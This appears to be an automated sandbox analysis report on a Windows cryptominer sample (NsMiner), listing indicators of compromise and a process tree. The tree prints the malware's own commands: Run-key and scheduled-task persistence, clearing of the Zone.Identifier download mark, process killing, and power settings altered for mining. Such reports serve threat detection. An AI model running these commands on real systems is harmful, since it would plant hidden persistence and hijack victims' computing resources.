6b189ad141b75544c1ab7cf29db7d5bb4d570d045d0b99556bc3e742dc0a3a37

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	IMG001.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	IMG001.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	IMG001.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	IMG001.exe
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk	IMG001.exe

Executes dropped EXE 18 IoCs

pid	Process
4428	tftp.exe
2680	tftp.exe
4880	IMG001.exe
1444	IMG001.exe
3440	tftp.exe
220	tftp.exe
4700	tftp.exe
1700	tftp.exe
3540	IMG001.exe
1924	IMG001.exe
1968	makensis.exe
2404	tftp.exe
1900	NsCpuCNMiner32.exe
1964	tftp.exe
2468	NsCpuCNMiner64.exe
1892	NsCpuCNMiner64.exe
2884	tftp.exe
4916	makensis.exe

Loads dropped DLL 36 IoCs

pid	Process
4880	IMG001.exe
4880	IMG001.exe
4880	IMG001.exe
1444	IMG001.exe
1444	IMG001.exe
1444	IMG001.exe
3540	IMG001.exe
3540	IMG001.exe
3540	IMG001.exe
1924	IMG001.exe
1924	IMG001.exe
1924	IMG001.exe
4880	IMG001.exe
4880	IMG001.exe
1444	IMG001.exe
1444	IMG001.exe
3540	IMG001.exe
3540	IMG001.exe
1924	IMG001.exe
1924	IMG001.exe
4880	IMG001.exe
4880	IMG001.exe
1444	IMG001.exe
1444	IMG001.exe
3540	IMG001.exe
3540	IMG001.exe
1924	IMG001.exe
1924	IMG001.exe
4880	IMG001.exe
4880	IMG001.exe
1444	IMG001.exe
1444	IMG001.exe
3540	IMG001.exe
3540	IMG001.exe
1924	IMG001.exe
1924	IMG001.exe

VMProtect packed file 10 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x000d00000001da21-113.dat	vmprotect
behavioral2/memory/1900-114-0x00000000001D0000-0x0000000000519000-memory.dmp	vmprotect
behavioral2/memory/1900-116-0x00000000001D0000-0x0000000000519000-memory.dmp	vmprotect
behavioral2/memory/1900-128-0x00000000001D0000-0x0000000000519000-memory.dmp	vmprotect
behavioral2/files/0x000300000000073d-135.dat	vmprotect
behavioral2/memory/2468-143-0x00007FF61B8D0000-0x00007FF61BC7D000-memory.dmp	vmprotect
behavioral2/memory/2468-145-0x00007FF61B8D0000-0x00007FF61BC7D000-memory.dmp	vmprotect
behavioral2/memory/2468-149-0x00007FF61B8D0000-0x00007FF61BC7D000-memory.dmp	vmprotect
behavioral2/memory/1892-151-0x00007FF61B8D0000-0x00007FF61BC7D000-memory.dmp	vmprotect
behavioral2/memory/1892-155-0x00007FF61B8D0000-0x00007FF61BC7D000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	IMG001.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe"	reg.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	IMG001.exe
File opened (read-only)	\??\E:	IMG001.exe
File opened (read-only)	\??\E:	IMG001.exe
File opened (read-only)	\??\E:	IMG001.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1900	NsCpuCNMiner32.exe
2468	NsCpuCNMiner64.exe
1892	NsCpuCNMiner64.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Tasks\UAC.job	schtasks.exe
File created	C:\Windows\Tasks\UAC.job	schtasks.exe
File created	C:\Windows\Tasks\UAC.job	schtasks.exe
File created	C:\Windows\Tasks\UAC.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x0003000000000735-25.dat	nsis_installer_1
behavioral2/files/0x0003000000000735-25.dat	nsis_installer_2
behavioral2/files/0x000600000001ebb4-100.dat	nsis_installer_2
behavioral2/files/0x000400000001e6f7-164.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2812	schtasks.exe
1052	schtasks.exe
4872	schtasks.exe
3956	schtasks.exe
932	schtasks.exe
376	schtasks.exe
3984	schtasks.exe
4308	schtasks.exe

Discovers systems in the same network 1 TTPs 8 IoCs

discovery

Remote System Discovery

T1018

pid	Process
5280	net.exe
4124	net.exe
1664	net.exe
1844	net.exe
2392	net.exe
3580	net.exe
3720	net.exe
5032	net.exe

Enumerates system info in registry 2 TTPs 64 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
716	taskkill.exe
4508	taskkill.exe
4120	taskkill.exe
1712	taskkill.exe
2012	taskkill.exe
4592	taskkill.exe
2404	taskkill.exe
4540	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings	OpenWith.exe

NTFS ADS 12 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\tmp2.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\AppData\Local\Temp\tmp2.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File created	C:\IMG001.exe\:P:$DATA	IMG001.exe
File created	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P	cmd.exe
File created	C:\IMG001.exe\:P:$DATA	IMG001.exe
File created	C:\IMG001.exe\:P:$DATA	IMG001.exe
File created	C:\IMG001.exe\:P:$DATA	IMG001.exe

Runs net.exe

Runs ping.exe 1 TTPs 64 IoCs

Remote System Discovery

T1018

pid	Process
5764	PING.EXE
3292	PING.EXE
1940	PING.EXE
1792	PING.EXE
5892	PING.EXE
5352	PING.EXE
3520	PING.EXE
396	PING.EXE
4624	PING.EXE
2300	PING.EXE
5752	PING.EXE
4024	PING.EXE
5868	PING.EXE
5376	PING.EXE
2596	PING.EXE
2152	PING.EXE
4044	PING.EXE
3728	PING.EXE
4768	PING.EXE
2996	PING.EXE
4960	PING.EXE
1884	PING.EXE
5128	PING.EXE
4976	PING.EXE
2540	PING.EXE
4360	PING.EXE
1676	PING.EXE
4972	PING.EXE
852	PING.EXE
5140	PING.EXE
5820	PING.EXE
1448	PING.EXE
6028	PING.EXE
2116	PING.EXE
4312	PING.EXE
3744	PING.EXE
5408	PING.EXE
1568	PING.EXE
2088	PING.EXE
4892	PING.EXE
2844	PING.EXE
5356	PING.EXE
5212	PING.EXE
4016	PING.EXE
5452	PING.EXE
5752	PING.EXE
5904	PING.EXE
608	PING.EXE
2280	PING.EXE
5836	PING.EXE
4564	PING.EXE
2432	PING.EXE
1600	PING.EXE
1748	PING.EXE
3552	PING.EXE
5108	PING.EXE
1036	PING.EXE
3740	PING.EXE
2964	PING.EXE
5380	PING.EXE
2996	PING.EXE
3284	PING.EXE
5996	PING.EXE
4356	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3580	OpenWith.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeRestorePrivilege	1840	7zG.exe
Token: 35	1840	7zG.exe
Token: SeSecurityPrivilege	1840	7zG.exe
Token: SeSecurityPrivilege	1840	7zG.exe
Token: SeDebugPrivilege	4508	taskkill.exe
Token: SeDebugPrivilege	4120	taskkill.exe
Token: SeDebugPrivilege	1712	taskkill.exe
Token: SeDebugPrivilege	2012	taskkill.exe
Token: SeDebugPrivilege	4592	taskkill.exe
Token: SeDebugPrivilege	2404	taskkill.exe
Token: SeRestorePrivilege	348	7zG.exe
Token: 35	348	7zG.exe
Token: SeSecurityPrivilege	348	7zG.exe
Token: SeSecurityPrivilege	348	7zG.exe
Token: SeShutdownPrivilege	2100	powercfg.exe
Token: SeCreatePagefilePrivilege	2100	powercfg.exe
Token: SeShutdownPrivilege	3780	powercfg.exe
Token: SeCreatePagefilePrivilege	3780	powercfg.exe
Token: SeShutdownPrivilege	1844	powercfg.exe
Token: SeCreatePagefilePrivilege	1844	powercfg.exe
Token: SeShutdownPrivilege	4456	powercfg.exe
Token: SeCreatePagefilePrivilege	4456	powercfg.exe
Token: SeShutdownPrivilege	1704	powercfg.exe
Token: SeCreatePagefilePrivilege	1704	powercfg.exe
Token: SeShutdownPrivilege	408	powercfg.exe
Token: SeCreatePagefilePrivilege	408	powercfg.exe
Token: SeDebugPrivilege	4540	taskkill.exe
Token: SeDebugPrivilege	716	taskkill.exe
Token: SeShutdownPrivilege	4468	powercfg.exe
Token: SeCreatePagefilePrivilege	4468	powercfg.exe
Token: SeShutdownPrivilege	4920	powercfg.exe
Token: SeCreatePagefilePrivilege	4920	powercfg.exe
Token: SeShutdownPrivilege	4204	powercfg.exe
Token: SeCreatePagefilePrivilege	4204	powercfg.exe
Token: SeShutdownPrivilege	1644	powercfg.exe
Token: SeCreatePagefilePrivilege	1644	powercfg.exe
Token: SeShutdownPrivilege	1884	powercfg.exe
Token: SeCreatePagefilePrivilege	1884	powercfg.exe
Token: SeShutdownPrivilege	4912	powercfg.exe
Token: SeCreatePagefilePrivilege	4912	powercfg.exe
Token: SeRestorePrivilege	2240	7zG.exe
Token: 35	2240	7zG.exe
Token: SeSecurityPrivilege	2240	7zG.exe
Token: SeSecurityPrivilege	2240	7zG.exe
Token: SeRestorePrivilege	636	7zG.exe
Token: 35	636	7zG.exe
Token: SeSecurityPrivilege	636	7zG.exe
Token: SeSecurityPrivilege	636	7zG.exe
Token: SeRestorePrivilege	2384	7zG.exe
Token: 35	2384	7zG.exe
Token: SeSecurityPrivilege	2384	7zG.exe
Token: SeSecurityPrivilege	2384	7zG.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1840	7zG.exe
348	7zG.exe
2240	7zG.exe
636	7zG.exe
2384	7zG.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe
3580	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1132 wrote to memory of 5116	1132	WScript.exe	97
PID 1132 wrote to memory of 5116	1132	WScript.exe	97
PID 5116 wrote to memory of 1740	5116	cscript.exe	99
PID 5116 wrote to memory of 1740	5116	cscript.exe	99
PID 5116 wrote to memory of 4504	5116	cscript.exe	100
PID 5116 wrote to memory of 4504	5116	cscript.exe	100
PID 3824 wrote to memory of 1932	3824	IMG001.exe	103
PID 3824 wrote to memory of 1932	3824	IMG001.exe	103
PID 3824 wrote to memory of 1932	3824	IMG001.exe	103
PID 1932 wrote to memory of 4508	1932	cmd.exe	105
PID 1932 wrote to memory of 4508	1932	cmd.exe	105
PID 1932 wrote to memory of 4508	1932	cmd.exe	105
PID 512 wrote to memory of 4440	512	IMG001.exe	107
PID 512 wrote to memory of 4440	512	IMG001.exe	107
PID 512 wrote to memory of 4440	512	IMG001.exe	107
PID 4440 wrote to memory of 4120	4440	cmd.exe	109
PID 4440 wrote to memory of 4120	4440	cmd.exe	109
PID 4440 wrote to memory of 4120	4440	cmd.exe	109
PID 3824 wrote to memory of 4428	3824	IMG001.exe	110
PID 3824 wrote to memory of 4428	3824	IMG001.exe	110
PID 3824 wrote to memory of 4428	3824	IMG001.exe	110
PID 512 wrote to memory of 2680	512	IMG001.exe	111
PID 512 wrote to memory of 2680	512	IMG001.exe	111
PID 512 wrote to memory of 2680	512	IMG001.exe	111
PID 3824 wrote to memory of 4880	3824	IMG001.exe	112
PID 3824 wrote to memory of 4880	3824	IMG001.exe	112
PID 3824 wrote to memory of 4880	3824	IMG001.exe	112
PID 4880 wrote to memory of 2632	4880	IMG001.exe	113
PID 4880 wrote to memory of 2632	4880	IMG001.exe	113
PID 4880 wrote to memory of 2632	4880	IMG001.exe	113
PID 2632 wrote to memory of 1712	2632	cmd.exe	115
PID 2632 wrote to memory of 1712	2632	cmd.exe	115
PID 2632 wrote to memory of 1712	2632	cmd.exe	115
PID 4780 wrote to memory of 3712	4780	IMG001.exe	117
PID 4780 wrote to memory of 3712	4780	IMG001.exe	117
PID 4780 wrote to memory of 3712	4780	IMG001.exe	117
PID 3712 wrote to memory of 2012	3712	cmd.exe	119
PID 3712 wrote to memory of 2012	3712	cmd.exe	119
PID 3712 wrote to memory of 2012	3712	cmd.exe	119
PID 512 wrote to memory of 1444	512	IMG001.exe	120
PID 512 wrote to memory of 1444	512	IMG001.exe	120
PID 512 wrote to memory of 1444	512	IMG001.exe	120
PID 1444 wrote to memory of 4004	1444	IMG001.exe	121
PID 1444 wrote to memory of 4004	1444	IMG001.exe	121
PID 1444 wrote to memory of 4004	1444	IMG001.exe	121
PID 4004 wrote to memory of 4592	4004	cmd.exe	123
PID 4004 wrote to memory of 4592	4004	cmd.exe	123
PID 4004 wrote to memory of 4592	4004	cmd.exe	123
PID 1544 wrote to memory of 5040	1544	IMG001.exe	125
PID 1544 wrote to memory of 5040	1544	IMG001.exe	125
PID 1544 wrote to memory of 5040	1544	IMG001.exe	125
PID 5040 wrote to memory of 2404	5040	cmd.exe	127
PID 5040 wrote to memory of 2404	5040	cmd.exe	127
PID 5040 wrote to memory of 2404	5040	cmd.exe	127
PID 4880 wrote to memory of 3440	4880	IMG001.exe	128
PID 4880 wrote to memory of 3440	4880	IMG001.exe	128
PID 4880 wrote to memory of 3440	4880	IMG001.exe	128
PID 4780 wrote to memory of 220	4780	IMG001.exe	129
PID 4780 wrote to memory of 220	4780	IMG001.exe	129
PID 4780 wrote to memory of 220	4780	IMG001.exe	129
PID 4880 wrote to memory of 1132	4880	IMG001.exe	131
PID 4880 wrote to memory of 1132	4880	IMG001.exe	131
PID 4880 wrote to memory of 1132	4880	IMG001.exe	131
PID 4880 wrote to memory of 4220	4880	IMG001.exe	132

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\info.zip"
1⤵
PID:408

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1544

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\info\" -spe -an -ai#7zMap16900:118:7zEvent12046
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1840

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\gemme ya booty\info\info.vbe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\gemme ya booty\info\info.vbe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\System32\cmd.exe
    cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > C:\Users\Admin\AppData\Local\Temp\tmp2.exe:Zone.Identifier
    3⤵
    - NTFS ADS
    PID:1740
- - C:\Windows\System32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\tmp2.exe
    3⤵
    PID:4504

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im tftp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- C:\Users\Admin\AppData\Local\Temp\tftp.exe
  "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
  "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Enumerates connected drives
  - NTFS ADS
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tftp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1712
- - C:\Users\Admin\AppData\Local\Temp\tftp.exe
    "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
    3⤵
    - Executes dropped EXE
    PID:3440
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
    3⤵
    PID:1132
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
      4⤵
      Adds Run key to start application
      PID:4312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:4220
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Creates scheduled task(s)
      PID:932
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
    3⤵
    PID:748
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
    3⤵
    PID:2524
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2100
  - - C:\Windows\SysWOW64\powercfg.exe
      powercfg /CHANGE -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3780
  - - C:\Windows\SysWOW64\powercfg.exe
      Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1844
- - C:\Windows\SysWOW64\cmd.exe
